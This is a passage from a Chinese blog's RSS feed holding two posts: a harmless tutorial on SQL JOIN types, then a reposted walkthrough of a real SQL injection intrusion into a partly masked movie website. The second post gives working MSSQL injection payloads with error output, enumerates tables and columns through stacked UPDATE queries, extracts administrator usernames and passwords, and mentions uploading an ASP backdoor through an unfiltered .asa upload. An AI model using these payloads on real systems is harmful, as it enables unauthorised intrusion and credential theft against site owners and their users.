连接可以在SELECT 语句的FROM子句或WHERE子句中建立，似是而非在FROM子句中指出连接时有助于将连接操作与WHERE子句中的搜索条件区分开来。所以，在Transact-SQL中推荐使用这种方法。
SQL-92标准所定义的FROM子句的连接语法格式为：
FROM join_table join_type join_table
[ON (join_condition)]
其中join_table指出参与连接操作的表名，连接可以对同一个表操作，也可以对多表操作，对同一个表操作的连接又称做自连接。
join_type 指出连接类型，可分为三种：内连接、外连接和交叉连接。内连接(INNER JOIN)使用比较运算符进行表间某(些)列数据的比较操作，并列出这些表中与连接条件相匹配的数据行。根据所使用的比较方式不同，内连接又分为等值连接、自然连接和不等连接三种。
外连接分为左外连接(LEFT OUTER JOIN或LEFT JOIN)、右外连接(RIGHT OUTER JOIN或RIGHT JOIN)和全外连接(FULL OUTER JOIN或FULL JOIN)三种。与内连接不同的是，外连接不只列出与连接条件相匹配的行，而是列出左表(左外连接时)、右表(右外连接时)或两个表(全外连接时)中所有符合搜索条件的数据行。
交叉连接(CROSS JOIN)没有WHERE 子句，它返回连接表中所有数据行的笛卡尔积，其结果集合中的数据行数等于第一个表中符合查询条件的数据行数乘以第二个表中符合查询条件的数据行数。
连接操作中的ON (join_condition) 子句指出连接条件，它由被连接表中的列和比较运算符、逻辑运算符等构成。
无论哪种连接都不能对text、ntext和image数据类型列进行直接连接，但可以对这三种列进行间接连接。例如：
SELECT p1.pub_id,p2.pub_id,p1.pr_info
FROM pub_info AS p1 INNER JOIN pub_info AS p2
ON DATALENGTH(p1.pr_info)=DATALENGTH(p2.pr_info)
(一)内连接

内连接查询操作列出与连接条件匹配的数据行，它使用比较运算符比较被连接列的列值。内连接分三种：
1、等值连接：在连接条件中使用等于号(=)运算符比较被连接列的列值，其查询结果中列出被连接表中的所有列，包括其中的重复列。
2、不等连接： 在连接条件使用除等于运算符以外的其它比较运算符比较被连接的列的列值。这些运算符包括&#62;、&#62;=、&#60;=、&#60;、!&#62;、!&#60;和&#60;&#62;。
3、自然连接：在连接条件中使用等于(=)运算符比较被连接列的列值，但它使用选择列表指出查询结果集合中所包括的列，并删除连接表中的重复列。
例，下面使用等值连接列出authors和publishers表中位于同一城市的作者和出版社：
SELECT *
FROM authors AS a INNER JOIN publishers AS p
ON a.city=p.city
又如使用自然连接，在选择列表中删除authors 和publishers 表中重复列(city和state)：
SELECT a.*,p.pub_id,p.pub_name,p.country
FROM authors AS a INNER JOIN publishers AS p
ON a.city=p.city
(二)外连接
内连接时，返回查询结果集合中的仅是符合查询条件( WHERE [...]]]></description>
			<content:encoded><![CDATA[<p>通过连接运算符可以实现多个表查询。连接是关系<a href="http://www.knowsky.com/sql.asp" target="_blank">数据库</a>模型的主要特点，也是它区别于其它类型数据库管理系统的一个标志。<br />
连接可以在SELECT 语句的FROM子句或WHERE子句中建立，似是而非在FROM子句中指出连接时有助于将连接操作与WHERE子句中的搜索条件区分开来。所以，在Transact-SQL中推荐使用这种方法。</p>
<p>SQL-92标准所定义的FROM子句的连接语法格式为：</p>
<p>FROM join_table join_type join_table</p>
<p>[ON (join_condition)]</p>
<p>其中join_table指出参与连接操作的表名，连接可以对同一个表操作，也可以对多表操作，对同一个表操作的连接又称做自连接。</p>
<p>join_type 指出连接类型，可分为三种：内连接、外连接和交叉连接。内连接(INNER JOIN)使用比较运算符进行表间某(些)列数据的比较操作，并列出这些表中与连接条件相匹配的数据行。根据所使用的比较方式不同，内连接又分为等值连接、自然连接和不等连接三种。</p>
<p>外连接分为左外连接(LEFT OUTER JOIN或LEFT JOIN)、右外连接(RIGHT OUTER JOIN或RIGHT JOIN)和全外连接(FULL OUTER JOIN或FULL JOIN)三种。与内连接不同的是，外连接不只列出与连接条件相匹配的行，而是列出左表(左外连接时)、右表(右外连接时)或两个表(全外连接时)中所有符合搜索条件的数据行。</p>
<p>交叉连接(CROSS JOIN)没有WHERE 子句，它返回连接表中所有数据行的笛卡尔积，其结果集合中的数据行数等于第一个表中符合查询条件的数据行数乘以第二个表中符合查询条件的数据行数。</p>
<p>连接操作中的ON (join_condition) 子句指出连接条件，它由被连接表中的列和比较运算符、逻辑运算符等构成。</p>
<p>无论哪种连接都不能对text、ntext和image数据类型列进行直接连接，但可以对这三种列进行间接连接。例如：</p>
<p>SELECT p1.pub_id,p2.pub_id,p1.pr_info</p>
<p>FROM pub_info AS p1 INNER JOIN pub_info AS p2</p>
<p>ON DATALENGTH(p1.pr_info)=DATALENGTH(p2.pr_info)</p>
<p>(一)内连接<br />
<span id="more-1158"></span><br />
内连接查询操作列出与连接条件匹配的数据行，它使用比较运算符比较被连接列的列值。内连接分三种：</p>
<p>1、等值连接：在连接条件中使用等于号(=)运算符比较被连接列的列值，其查询结果中列出被连接表中的所有列，包括其中的重复列。</p>
<p>2、不等连接： 在连接条件使用除等于运算符以外的其它比较运算符比较被连接的列的列值。这些运算符包括&gt;、&gt;=、&lt;=、&lt;、!&gt;、!&lt;和&lt;&gt;。</p>
<p>3、自然连接：在连接条件中使用等于(=)运算符比较被连接列的列值，但它使用选择列表指出查询结果集合中所包括的列，并删除连接表中的重复列。</p>
<p>例，下面使用等值连接列出authors和publishers表中位于同一城市的作者和出版社：</p>
<p>SELECT *</p>
<p>FROM authors AS a INNER JOIN publishers AS p</p>
<p>ON a.city=p.city</p>
<p>又如使用自然连接，在选择列表中删除authors 和publishers 表中重复列(city和state)：</p>
<p>SELECT a.*,p.pub_id,p.pub_name,p.country</p>
<p>FROM authors AS a INNER JOIN publishers AS p</p>
<p>ON a.city=p.city</p>
<p>(二)外连接</p>
<p>内连接时，返回查询结果集合中的仅是符合查询条件( WHERE 搜索条件或 HAVING 条件)和连接条件的行。而采用外连接时，它返回到查询结果集合中的不仅包含符合连接条件的行，而且还包括左表(左外连接时)、右表(右外连接时)或两个边接表(全外连接)中的所有数据行。</p>
<p>如下面使用左外连接将论坛内容和作者信息连接起来：</p>
<p>SELECT a.*,b.* FROM luntan LEFT JOIN usertable as b</p>
<p>ON a.username=b.username</p>
<p>下面使用全外连接将city表中的所有作者以及user表中的所有作者，以及他们所在的城市：</p>
<p>SELECT a.*,b.*</p>
<p>FROM city as a FULL OUTER JOIN user as b</p>
<p>ON a.username=b.username</p>
<p>(三)交叉连接</p>
<p>交叉连接不带WHERE 子句，它返回被连接的两个表所有数据行的笛卡尔积，返回到结果集合中的数据行数等于第一个表中符合查询条件的数据行数乘以第二个表中符合查询条件的数据行数。</p>
<p>例，titles表中有6类图书，而publishers表中有8家出版社，则下列交叉连接检索到的记录数将等</p>
<p>于6*8=48行。</p>
<p>SELECT type,pub_name</p>
<p>FROM titles CROSS JOIN publishers</p>
<p>ORDER BY type</p>
<p>via <a href="http://www.knowsky.com/869.html">http://www.knowsky.com/869.html</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.halfroom.com/sql-join-query.html/feed</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>有用的Sql注入代码（Z）</title>
		<link>http://www.halfroom.com/sql-inject.html</link>
		<comments>http://www.halfroom.com/sql-inject.html#comments</comments>
		<pubDate>Thu, 10 Jun 2010 13:43:38 +0000</pubDate>
		<dc:creator>灰灰</dc:creator>
				<category><![CDATA[Digest]]></category>
		<category><![CDATA[SQL注入]]></category>

		<guid isPermaLink="false">http://www.halfroom.com/?p=1142</guid>
		<description><![CDATA[做一个笔记，原文在：http://hi.baidu.com/swjtu/blog/item/54acea5078cd6d501138c27b.html
表名和字段名的获得

_适用情况:

1)数据库是MSSQL

2)连接数据库的只是普通用户

3)不知道ASP源代码
可以进行的攻击

1)对数据内容进行添加，查看，更改
实例:

本文件以

http://www.dy***.com/user/wantpws.asp

为列进行测试攻击。
第一步:

在输入用户名处输入单引号，显示

Microsoft OLE DB Provider for SQL Server 错误 '80040e14'

字符串 ''' 之前有未闭合的引号。
/user/wantpws.asp，行63
说明没有过滤单引号且数据库是MSSQL.
第二步:

输入a';use master;--

显示

Microsoft OLE DB Provider for SQL Server 错误 '80040e21'

多步 OLE DB 操作产生错误。如果可能，请检查每个 OLE DB 状态值。没有工作被完成。
/user/wantpws.asp，行63

这样说明没有权限了。
第三步:

输入:a' or name like 'fff%';--

显示有一个叫ffff的用户哈。
第四步:

在用户名处输入

ffff' and 1&#60;&#62;(select count(email) from [user]);--

显示:

Microsoft OLE DB Provider for SQL Server 错误 '80040e37'

对象名 'user' 无效。
/user/wantpws.asp，行96
说明没有叫user的表，换成users试试成功,同时说明有一个叫email的列.

(东方飘云的一个办法是输入a' having 1=1--

一般返回如下也就可以直接得到表名和一个字段名了

Microsoft OLE DB Provider for SQL Server 错误 '80040e14'

列 [...]]]></description>
			<content:encoded><![CDATA[<pre>做一个笔记，原文在：<a href="http://hi.baidu.com/swjtu/blog/item/54acea5078cd6d501138c27b.html">http://hi.baidu.com/swjtu/blog/item/54acea5078cd6d501138c27b.html</a></pre>
<pre><span style="font-size: x-small;">表名和字段名的获得

_适用情况:

1)数据库是MSSQL

2)连接数据库的只是普通用户

3)不知道ASP源代码</span></pre>
<pre>可以进行的攻击

1)对数据内容进行添加，查看，更改</pre>
<pre>实例:

本文件以

<a href="http://www.dy%2A%2A%2A.com/user/wantpws.asp" target="_self"><span style="color: #0000ff; font-size: x-small;">http://www.dy***.com/user/wantpws.asp</span></a>

<span style="font-size: x-small;">为列进行测试攻击。</span></pre>
<pre>第一步:

在输入用户名处输入单引号，显示

Microsoft OLE DB Provider for SQL Server 错误 '80040e14'

字符串 ''' 之前有未闭合的引号。</pre>
<pre>/user/wantpws.asp，行63</pre>
<pre>说明没有过滤单引号且数据库是MSSQL.</pre>
<pre>第二步:

输入a';use master;--

显示

Microsoft OLE DB Provider for SQL Server 错误 '80040e21'

多步 OLE DB 操作产生错误。如果可能，请检查每个 OLE DB 状态值。没有工作被完成。</pre>
<pre>/user/wantpws.asp，行63

这样说明没有权限了。</pre>
<pre>第三步:

输入:a' or name like 'fff%';--

显示有一个叫ffff的用户哈。</pre>
<pre>第四步:

在用户名处输入

ffff' and 1&lt;&gt;(select count(email) from [user]);--

显示:

Microsoft OLE DB Provider for SQL Server 错误 '80040e37'

对象名 'user' 无效。</pre>
<pre>/user/wantpws.asp，行96</pre>
<pre>说明没有叫user的表，换成users试试成功,同时说明有一个叫email的列.

(东方飘云的一个办法是输入a' having 1=1--

一般返回如下也就可以直接得到表名和一个字段名了

Microsoft OLE DB Provider for SQL Server 错误 '80040e14'

列 'users.ID' 在选择列表中无效，因为该列未包含在聚合函数中，并且没有 GROUP BY 子句。</pre>
<pre>/user/wantpws.asp，行63</pre>
<pre>)
</pre>
<p><span id="more-1142"></span></p>
<p><span style="font-size: x-small;">现在我们知道了ffff用户的密码是111111.</span></p>
<p>下面通过语句得到数据库中的所有表名和字段名。</p>
<p>第五步:</p>
<p>输入:</p>
<p>ffff&#8217;;update [users] set email=(select top 1 name from sysobjects where xtype=&#8217;u&#8217; and status&gt;0) where name=&#8217;ffff&#8217;;&#8211;</p>
<p>说明:</p>
<p>上面的语句是得到数据库中的第一个用户表,并把表名放在ffff用户的邮箱字段中。</p>
<p>通过查看ffff的用户资料可得第一个用表叫ad</p>
<p>然后根据表名ad得到这个表的ID</p>
<p>ffff&#8217;;update [users] set email=(select top 1 id from sysobjects where xtype=&#8217;u&#8217; and name=&#8217;ad&#8217;) where name=&#8217;ffff&#8217;;&#8211;</p>
<p>同上可知id是:581577110</p>
<p>由于对象标志id是根据由小到大排列的所以我们可以得到所有的用户表的名字了</p>
<p>象下面这样就可以得到第二个表的名字了</p>
<p>ffff&#8217;;update [users] set email=(select top 1 name from sysobjects where xtype=&#8217;u&#8217; and id&gt;581577110) where name=&#8217;ffff&#8217;;&#8211;</p>
<p>ad 581577110</p>
<p>users 597577167</p>
<p>buy 613577224</p>
<p>car 629577281</p>
<p>learning 645577338</p>
<p>log 661577395</p>
<p>movie 677577452</p>
<p>movieurl 693577509</p>
<p>password 709577566</p>
<p>type 725577623</p>
<p>talk</p>
<p>经过一段时间的猜测后我们得到上面的分析一下应该明白password,users是最得要的</p>
<p>第六步:猜重要表的字段</p>
<p>输入:</p>
<p>现在就看看users表有哪些字段</p>
<p>ffff&#8217;;update [users] set email=(select top 1 col_name(object_id(&#8216;users&#8217;),3) from users) where name=&#8217;ffff&#8217;;&#8211;</p>
<p>得到第三个字段是password</p>
<p>ffff&#8217;;update [users] set email=(select top 1 col_name(object_id(&#8216;users&#8217;),4) from users) where name=&#8217;ffff&#8217;;&#8211;</p>
<p>得到第四个字段是name</p>
<p>最后users表的字段共28个全得到了</p>
<p>(注:另一个得到字段的办法,前提是系统的返回出错信息</p>
<p>a&#8217; group by ID having 1=1&#8211;</p>
<p>得到</p>
<p>Microsoft OLE DB Provider for SQL Server 错误 &#8216;80040e14&#8242;</p>
<p>列 &#8216;users.userid&#8217; 在选择列表中无效，因为该列既不包含在聚合函数中，也不包含在 GROUP BY 子句中。</p>
<p>/user/wantpws.asp，行63</p>
<p>这个第二个字段就是userid</p>
<p>显示第三个字段。</p>
<p>a&#8217; group by id,userid having 1=1&#8211;</p>
<p>Microsoft OLE DB Provider for SQL Server 错误 &#8216;80040e14&#8242;</p>
<p>列 &#8216;users.password&#8217; 在选择列表中无效，因为该列既不包含在聚合函数中，也不包含在 GROUP BY 子句中。</p>
<p>/user/wantpws.asp，行63</p>
<p>得到是password</p>
<p>同理，一直显示出所有。：）</p>
<p>)</p>
<p>users表</p>
<p>1 2 3 4</p>
<p>id userid password name</p>
<p>5 6 7 8 9 10 11 12 13 14 15 16</p>
<p>Province homeaddress city adress starlook sex email nlook nos date money send</p>
<p>17 18 19 20 21 22 23 24 25 26 27 28</p>
<p>oklook dnlook lasthits phone askmejoin getmoney payno logintime mflag state post note</p>
<p>starlook&#8211;12 10 2003 2:41PM</p>
<p>nlook&#8212;0</p>
<p>nos&#8212;2 登陆次数</p>
<p>date&#8211;12 10 2003 12:00AM 注册时间?</p>
<p>money&#8211;同上</p>
<p>send&#8211;空</p>
<p>oklook&#8211;0</p>
<p>dnlook&#8211;0</p>
<p>getmoney&#8211;0</p>
<p>state&#8211;0</p>
<p>note&#8211;这家伙很。。。 说明</p>
<p>password表</p>
<p>1 2 3</p>
<p>id name pwd</p>
<p>然后我又试ad原来是用来记录广告击点的。。</p>
<p>然后又试password表得到有name和pwd字段。</p>
<p>执行</p>
<p>ffff&#8217;;update [users] set email=(select top 1 name from password) where name=&#8217;ffff&#8217;;&#8211;</p>
<p>可得第一个用户名是admin123看样儿多半是管理员了。</p>
<p>然后又得到了密码是dy***dick188还是打星号算了哈哈&#8230;</p>
<p>这样我们就完全进入了这个电影网站的后台了哈哈。</p>
<p><a href="http://www.dy/" target="_self"><span style="color: #0000ff; font-size: x-small;">http://www.dy/</span></a><span style="font-size: x-small;">***.com/login.asp</span></p>
<p>再进一步还可以知道管理员一共有三人密码也都能看到了。</p>
<p>ffff&#8217;;update [users] set email=(select top 1 count(id) from password) where name=&#8217;ffff&#8217;;&#8211;</p>
<p>ffff&#8217;;update [users] set email=(select top 1 pwd from password where id=2) where name=&#8217;ffff&#8217;;&#8211;</p>
<p>ffff&#8217;;update [users] set email=(select top 1 name from password where id=2) where name=&#8217;ffff&#8217;;&#8211;</p>
<p>只是能免费看电影好象还不够哈..我看了看它的后台管理原来在</p>
<p>添加电影的地方对于上传的图片没有过滤.asa的文件,这样我就</p>
<p>能上传一个asp后门并执行.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.halfroom.com/sql-inject.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
